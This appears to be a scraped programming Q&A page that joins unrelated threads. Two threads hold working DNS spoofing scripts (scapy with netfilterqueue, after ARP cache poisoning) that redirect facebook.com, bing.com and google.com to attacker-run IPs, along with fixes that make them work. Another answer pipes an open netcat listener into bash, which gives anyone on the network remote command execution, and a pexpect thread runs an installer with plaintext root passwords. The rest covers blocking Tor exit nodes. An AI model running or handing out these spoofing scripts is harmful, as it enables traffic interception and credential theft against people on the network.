Python dns spoofing dont work nome not resolved - python

i don't know why mi script don't work, the victim browser shows : ERR: named not resolved.
My script
from scapy.all import *
from netfilterqueue import NetfilterQueue
spoofDomain = 'www.facebook.com'
spoofResolvedIp = '172.16.16.162'
queueId = 1
def dnsSpoof(packet):
originalPayload = IP( packet.get_payload() )
if not originalPayload.haslayer(DNSQR):
# Not a dns query, accept and go on
packet.accept()
else:
if ("m.facebook.com" in originalPayload[DNS].qd.qname) or ("facebook.com" in originalPayload[DNS].qd.qname) or ("www.facebook.com" in originalPayload[DNS].qd.qname) or ("edge-chat.facebook.com" in originalPayload[DNS].qd.qname):
print "Intercepted DNS request for " + spoofDomain + ": " + originalPayload.summary()
# Build the spoofed response
spoofedPayload = IP(dst=originalPayload[IP].dst, src=originalPayload[IP].src)/\
UDP(dport=originalPayload[UDP].dport, sport=originalPayload[UDP].sport)/\
DNS(id=originalPayload[DNS].id, qr=1, aa=1, qd=originalPayload[DNS].qd,\
an=DNSRR(rrname=originalPayload[DNS].qd.qname, ttl=10, rdata=spoofResolvedIp))
print "Spoofing DNS response to: " + spoofedPayload.summary()
packet.set_payload(str(spoofedPayload))
packet.accept()
print "------------------------------------------"
else:
# DNS query but not for target spoofDomain, accept and go on
packet.accept()
# bind the callback function to the queue
nfqueue = NetfilterQueue()
nfqueue.bind(queueId, dnsSpoof)
# wait for packets
try:
nfqueue.run()
except KeyboardInterrupt:
print('')
nfqueue.unbind()
I use iptables -t mangle -I FORWARD -p udp -j NFQUEUE --queue-num 1 command.
Firs i perform a man in the middle attack by ARP Cache spoofing. I used wireshark to see the traffic and it seems to be ok, I don't know whats is going on.

I solved the problem, I was looking for queries I don't see that sorry
if not originalPayload.haslayer(DNSQR)
DNSQR is dns query, and I want to take dns answers, so the code is that:
if not originalPayload.haslayer(DNSRR)

Related

DNS spoofer and i can't get pass a certain point

I am running this code and it seems it isn't even making it pass the second 2nd if statement. Can anyone help? If anyone could help it would appreciative since I am very new to this kind of stuff.
import netfilterqueue
import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if 'www.bing.com' in qname:
print('[+] Spoofing Target...')
answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.8')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
bro you need to try this on the HTTP sites first like website.org and check if service apache is run using "service apache2 start"

scapy and netfilterqueue dns spoof not working

I've been following a course on Cybersecurity and I'm currently trying to make a DNS spoofer work. The idea is that each time the target (this same computer) tries to go to www.google.com it goes to the apache server instead. But the only thing it does is not connect to Google. Suffice to say, I have little experience.
I start by:
iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0
Then on Python 3.7
import netfilterqueue
import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if b'www.google.com' in qname:
answer = scapy.DNSRR(rrname=qname, rdata=b'10.0.2.5')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(b'scapy_packet')
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
I'm using a NAT network and 10.0.2.5 is my apache server.
Maybe replace:
packet.set_payload(b'scapy_packet')
with:
packet.set_payload(bytes(scapy_packet))

Remote executing of program via xterm run using paramiko python ssh library

Flow of the program is:
Connect to OpenSSH server on Linux machine using Paramiko library
Open X11 session
Run xterm executable
Run some other program (e.g. Firefox) by typing executable name in the terminal and running it.
I would be grateful if someone can explain how to cause some executable to run in a terminal which was open by using the following code and provide sample source code (source):
import select
import sys
import paramiko
import Xlib.support.connect as xlib_connect
import os
import socket
import subprocess
# run xming
XmingProc = subprocess.Popen("C:/Program Files (x86)/Xming/Xming.exe :0 -clipboard -multiwindow")
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(SSHServerIP, SSHServerPort, username=user, password=pwd)
transport = ssh_client.get_transport()
channelOppositeEdges = {}
local_x11_display = xlib_connect.get_display(os.environ['DISPLAY'])
inputSockets = []
def x11_handler(channel, (src_addr, src_port)):
local_x11_socket = xlib_connect.get_socket(*local_x11_display[:3])
inputSockets.append(local_x11_socket)
inputSockets.append(channel)
channelOppositeEdges[local_x11_socket.fileno()] = channel
channelOppositeEdges[channel.fileno()] = local_x11_socket
transport._queue_incoming_channel(channel)
session = transport.open_session()
inputSockets.append(session)
session.request_x11(handler = x11_handler)
session.exec_command('xterm')
transport.accept()
while not session.exit_status_ready():
readable, writable, exceptional = select.select(inputSockets,[],[])
if len(transport.server_accepts) > 0:
transport.accept()
for sock in readable:
if sock is session:
while session.recv_ready():
sys.stdout.write(session.recv(4096))
while session.recv_stderr_ready():
sys.stderr.write(session.recv_stderr(4096))
else:
try:
data = sock.recv(4096)
counterPartSocket = channelOppositeEdges[sock.fileno()]
counterPartSocket.sendall(data)
except socket.error:
inputSockets.remove(sock)
inputSockets.remove(counterPartSocket)
del channelOppositeEdges[sock.fileno()]
del channelOppositeEdges[counterPartSocket.fileno()]
sock.close()
counterPartSocket.close()
print 'Exit status:', session.recv_exit_status()
while session.recv_ready():
sys.stdout.write(session.recv(4096))
while session.recv_stderr_ready():
sys.stdout.write(session.recv_stderr(4096))
session.close()
XmingProc.terminate()
XmingProc.wait()
I was thinking about running the program in child thread, while the thread running the xterm is waiting for the child to terminate.
Well, this is a bit of a hack, but hey.
What you can do on the remote end is the following: Inside the xterm, you run netcat, listen to any data coming in on some port, and pipe whatever you get into bash. It's not quite the same as typing it into xterm direclty, but it's almost as good as typing it into bash directly, so I hope it'll get you a bit closer to your goal. If you really want to interact with xterm directly, you might want to read this.
For example:
terminal 1:
% nc -l 3333 | bash
terminal 2 (type echo hi here):
% nc localhost 3333
echo hi
Now you should see hi pop out of the first terminal. Now try it with xterm&. It worked for me.
Here's how you can automate this in Python. You may want to add some code that enables the server to tell the client when it's ready, rather than using the silly time.sleeps.
import select
import sys
import paramiko
import Xlib.support.connect as xlib_connect
import os
import socket
import subprocess
# for connecting to netcat running remotely
from multiprocessing import Process
import time
# data
import getpass
SSHServerPort=22
SSHServerIP = "localhost"
# get username/password interactively, or use some other method..
user = getpass.getuser()
pwd = getpass.getpass("enter pw for '" + user + "': ")
NETCAT_PORT = 3333
FIREFOX_CMD="/path/to/firefox &"
#FIREFOX_CMD="xclock&"#or this :)
def run_stuff_in_xterm():
time.sleep(5)
s = socket.socket(socket.AF_INET6 if ":" in SSHServerIP else socket.AF_INET, socket.SOCK_STREAM)
s.connect((SSHServerIP, NETCAT_PORT))
s.send("echo \"Hello there! Are you watching?\"\n")
s.send(FIREFOX_CMD + "\n")
time.sleep(30)
s.send("echo bye bye\n")
time.sleep(2)
s.close()
# run xming
XmingProc = subprocess.Popen("C:/Program Files (x86)/Xming/Xming.exe :0 -clipboard -multiwindow")
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(SSHServerIP, SSHServerPort, username=user, password=pwd)
transport = ssh_client.get_transport()
channelOppositeEdges = {}
local_x11_display = xlib_connect.get_display(os.environ['DISPLAY'])
inputSockets = []
def x11_handler(channel, (src_addr, src_port)):
local_x11_socket = xlib_connect.get_socket(*local_x11_display[:3])
inputSockets.append(local_x11_socket)
inputSockets.append(channel)
channelOppositeEdges[local_x11_socket.fileno()] = channel
channelOppositeEdges[channel.fileno()] = local_x11_socket
transport._queue_incoming_channel(channel)
session = transport.open_session()
inputSockets.append(session)
session.request_x11(handler = x11_handler)
session.exec_command("xterm -e \"nc -l 0.0.0.0 %d | /bin/bash\"" % NETCAT_PORT)
p = Process(target=run_stuff_in_xterm)
transport.accept()
p.start()
while not session.exit_status_ready():
readable, writable, exceptional = select.select(inputSockets,[],[])
if len(transport.server_accepts) > 0:
transport.accept()
for sock in readable:
if sock is session:
while session.recv_ready():
sys.stdout.write(session.recv(4096))
while session.recv_stderr_ready():
sys.stderr.write(session.recv_stderr(4096))
else:
try:
data = sock.recv(4096)
counterPartSocket = channelOppositeEdges[sock.fileno()]
counterPartSocket.sendall(data)
except socket.error:
inputSockets.remove(sock)
inputSockets.remove(counterPartSocket)
del channelOppositeEdges[sock.fileno()]
del channelOppositeEdges[counterPartSocket.fileno()]
sock.close()
counterPartSocket.close()
p.join()
print 'Exit status:', session.recv_exit_status()
while session.recv_ready():
sys.stdout.write(session.recv(4096))
while session.recv_stderr_ready():
sys.stdout.write(session.recv_stderr(4096))
session.close()
XmingProc.terminate()
XmingProc.wait()
I tested this on a Mac, so I commented out the XmingProc bits and used /Applications/Firefox.app/Contents/MacOS/firefox as FIREFOX_CMD (and xclock).
The above isn't exactly a secure setup, as anyone connecting to the port at the right time could run arbitrary code on your remote server, but it sounds like you're planning to use this for testing purposes anyway. If you want to improve the security, you could make netcat bind to 127.0.0.1 rather than 0.0.0.0, setup an ssh tunnel (run ssh -L3333:localhost:3333 username#remote-host.com to tunnel all traffic received locally on port 3333 to remote-host.com:3333), and let Python connect to ("localhost", 3333).
Now you can combine this with selenium for browser automation:
Follow the instructions from this page, i.e. download the selenium standalone server jar file, put it into /path/to/some/place (on the server), and pip install -U selenium (again, on the server).
Next, put the following code into selenium-example.py in /path/to/some/place:
#!/usr/bin/env python
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.common.keys import Keys
import time
browser = webdriver.Firefox() # Get local session of firefox
browser.get("http://www.yahoo.com") # Load page
assert "Yahoo" in browser.title
elem = browser.find_element_by_name("p") # Find the query box
elem.send_keys("seleniumhq" + Keys.RETURN)
time.sleep(0.2) # Let the page load, will be added to the API
try:
browser.find_element_by_xpath("//a[contains(#href,'http://docs.seleniumhq.org')]")
except NoSuchElementException:
assert 0, "can't find seleniumhq"
browser.close()
and change the firefox command:
FIREFOX_CMD="cd /path/to/some/place && python selenium-example.py"
And watch firefox do a Yahoo search. You might also want to increase the time.sleep.
If you want to run more programs, you can do things like this before or after running firefox:
# start up xclock, wait for some time to pass, kill it.
s.send("xclock&\n")
time.sleep(1)
s.send("XCLOCK_PID=$!\n") # stash away the process id (into a bash variable)
time.sleep(30)
s.send("echo \"killing $XCLOCK_PID\"\n")
s.send("kill $XCLOCK_PID\n\n")
time.sleep(5)
If you want to do perform general X11 application control, I think you might need to write similar "driver applications", albeit using different libraries. You might want search for "x11 send {mouse|keyboard} events" to find more general approaches. That brings up these questions, but I'm sure there's lots more.
If the remote end isn't responding instantaneously, you might want to sniff your network traffic in Wireshark, and check whether or not TCP is batching up the data, rather than sending it line by line (the \n seems to help here, but I guess there's no guarantee). If this is the case, you might be out of luck, but nothing is impossible. I hope you don't need to go that far though ;-)
One more note: if you need to communicate with CLI programs' STDIN/STDOUT, you might want to look at expect scripting (e.g. using pexpect, or for simple cases you might be able to use subprocess.Popen.communicate](http://docs.python.org/2/library/subprocess.html#subprocess.Popen.communicate)).

Automatically generate list of tor exit nodes

I want to automatically generate a list of tor exit nodes that can reach a certain IP address. I scoured the internetfor a while and came across this piece of code from http://sjoerd-hemminga.com/blog/2012/10/block-tor-exit-nodes-using-iptables/
if [[ -z "$1" ]]; then
echo Usage: $0 "<your host's ip>"
exit 1
fi
hostip=$1
for i in $(wget https://check.torproject.org/cgi-bin/TorBulkExitList.py\?ip=$hostip -O- -q |\
grep -E '^[[:digit:]]+(\.[[:digit:]]+){3}$'); do
sudo iptables -A INPUT -s "$i" -j DROP
done
Can someone please help me understand this code better, because every time I try to run it, it produces errors.
Any alternate answers are welcomed but I would like if they are in Python.
import os
import re
import sys
import urllib
if len(sys.argv) != 2:
print "Usage {} <your host's ip>".format(sys.argv[0])
sys.exit(1)
hostip = sys.argv[1]
u = urllib.urlopen('https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=' + hostip)
for ip in u:
ip = ip.strip()
if re.match('\d+(\.\d+){3}$', ip):
#print ip
os.system('sudo iptables -A INPUT -s "{}" -j DROP'.format(ip))
u.close()
If you have configured Tor to have a control port and server descriptors...
ControlPort 9051
CookieAuthentication 1
UseMicrodescriptors 0
... then you can easily enumerate the exits using stem...
from stem.control import Controller
with Controller.from_port(port = 9051) as controller:
controller.authenticate()
for desc in controller.get_server_descriptors():
if desc.exit_policy.is_exiting_allowed():
print desc.address
That said, if your real question is 'how do I do something using every Tor exit' then please don't! Repeatedly making circuits is harmful to the Tor network, for more about about this see stem's FAQ.
Here(https://github.com/RD17/DeTor) is a simple REST API to determine whether a request was made from TOR network or not.
The request is:
curl -X GET http://detor.ambar.cloud/.
The response is
{
"sourceIp": "104.200.20.46",
"destIp": "89.207.89.82",
"destPort": "8080",
"found": true
}

SCP a tar file using pexpect

I am using ssh to log into a camera, scp a tarball over to it and extract files from the tarbal and then run the script. I am having problems with Pexpect, though. Pexpect times out when the tarball is being copied over. It seem's not to wait until it is done. And then it start's doing the same thing with the untar command, The code I have is below:
ssh_newkey = 'Are you sure you want to continue connecting'
copy = pexpect.spawn('ssh service#10.10.10.10')
i=copy.expect([ssh_newkey,'password:',pexpect.EOF])
if i==0:
copy.sendline('yes')
i=copy.expect([ssh_newkey,'password:',pexpect.EOF])
if i==1:
copy.sendline("service")
print 'Password Accepted'
copy.expect('service#user:')
copy.sendline('su - root')
i=copy.expect('Password:')
copy.sendline('root')
i=copy.expect('#')
copy.sendline('cd /tmp')
i=copy.expect("#")
copy.sendline('scp user#20.20.20.20:/home/user/tarfile.tar.gz .')
i=copy.expect([ssh_newkey,'password:',pexpect.EOF])
if i==0:
copy.sendline('yes')
i=copy.expect([ssh_newkey,'password:',pexpect.EOF])
else:
pass
copy.sendline('userpwd')
i=copy.expect('#')
copy.sendline('tar -zxvf tarfile.tar.gz bin/installer.sh')
i=copy.expect("#")
copy.sendline("setsid /tmp/bin/installer.sh /tmp/tarfile.tar.gz > /dev/null 2>&1 &")
elif i==2:
print "I either got key or connection timeout"
else:
pass
Can anyone help find a solution for this?
Thanks
I'm not sure if this is correct, but I'd try setting the timeout to None:
copy = pexpect.spawn('ssh service#10.10.10.10', timeout=None)
According to the source code, pexpect seems to not check the timeout when it's set to None.
Anyway, the reason I'm answering this even though I'm not sure whether it solves your problem is that I wanted to recommend using paramiko instead. I had good experience using it for communication over SSH in the past.
Is there a reason your using pexpect or even paramiko?
if you setup a public/private key then you can just use as a single example:
command = "scp user#20.20.20.20:/home/user/tarfile.tar.gz"
split_command = shlex.split(command)
subprocess.call(split_command)
Then as per the suggestion above use paramiko to send commands.
you can use the keyfile for that as well:
The following class method will give you a persistent session (although it is untested):
#!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import print_function
import os
from paramiko import SSHClient, AutoAddPolicy, AuthenticationException, RSAKey
from subprocess import call
class CommsSuite(object):
def __init__(self):
self.ssh_client = SSHClient()
#--------------------------------------
def _session_send(command):
"""
Use to send commands over ssh in a 'interactive_session'
Verifies session is present
If the interactive_session is not present then print the failed command.
This may be updated to raise an error,
which would probably make more sense.
#param command: the command to send across as a string
::TODO:: consider raise exception here as failed
session will most likely be fatal.
"""
if self.session.send_ready():
self.session.send("%s\n" % command)
else:
print("Session cannot send %s" % command)
#--------------------------------------
def _get_persistent_session(_timeout = 5):
"""
connect to the host and establish an interactive session.
#param _timeout: sets the timout to prevent blocking.
"""
privatekeyfile = os.path.expanduser('~/.ssh/id_rsa')#this must point to your keyfile
private_key = RSAKey.from_private_key_file(privatekeyfile)
self.ssh_client.set_missing_host_key_policy(AutoAddPolicy())
self.ssh_client.connect(hostname,
username = <username>,
pkey = private_key,
timeout = _timeout)
self.transport = self.ssh_client.get_transport()
self.session = self.transport.open_session()
self.session.exec_command("bash -s")
_get_persistent_session()
# build a comma seperated list of commands here as a string "[a,b,c]"
commands = ["tar -zxvf tarfile.tar.gz bin/installer.sh", "setsid /tmp/bin/installer.sh /tmp/tarfile.tar.gz > /dev/null 2>&1"]
# then run the list of commands
if len(commands) > 0:
for command in commands:
_session_send(command)
self.session.close()#close the session when done
CommsSuite()

Categories

Resources